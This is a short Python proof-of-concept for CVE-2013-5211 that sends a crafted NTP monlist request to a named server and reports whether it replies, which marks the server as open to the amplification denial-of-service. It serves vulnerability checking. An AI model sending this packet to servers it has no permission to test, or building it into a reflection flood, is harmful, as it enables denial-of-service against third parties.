CVE-2013-5211.py

# PoC Title: Network Time Protocol Daemon (ntpd) monlist Command Enabled DoS
# CVE Number: CVE-2013-5211
# Date: Saturday, February 4, 2023
# PoC Author: 0xhav0c
# Version: <= NTP version 4.2.7-p26

import sys
import socket


def vuln(server):
    sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
    ntppacket = bytearray(48)
    ntppacket[0] = 0x17
    ntppacket[1] = 0x00
    ntppacket[2] = 0x03
    ntppacket[3] = 0x2a

    server = socket.gethostbyname(server)
    sock.sendto(ntppacket, (server, 123))
    sock.settimeout(5)
    try:
        data, address = sock.recvfrom(1024)
    except socket.timeout:
        address = server
        print("Timeout:", address)
        sys.exit(0)

    if data:
        print("This NTP Server has CVE-2013-5211 Vulnerability:", address)
        return True
    else:
        print("Server not vulnerable:", address)
        return False

if __name__ == '__main__':
    if len(sys.argv) < 2:
        print("Usage: python3", sys.argv[0], "<server>")
        sys.exit(0)
    is_vulnerable = vuln(sys.argv[1])
    if is_vulnerable:
        print("IP Address has Network Time Protocol Daemon (ntpd) monlist Command Enabled DoS:", sys.argv[1])
    else:
        print("IP Address has not Network Time Protocol Daemon (ntpd) monlist Command Enabled DoS:", sys.argv[1])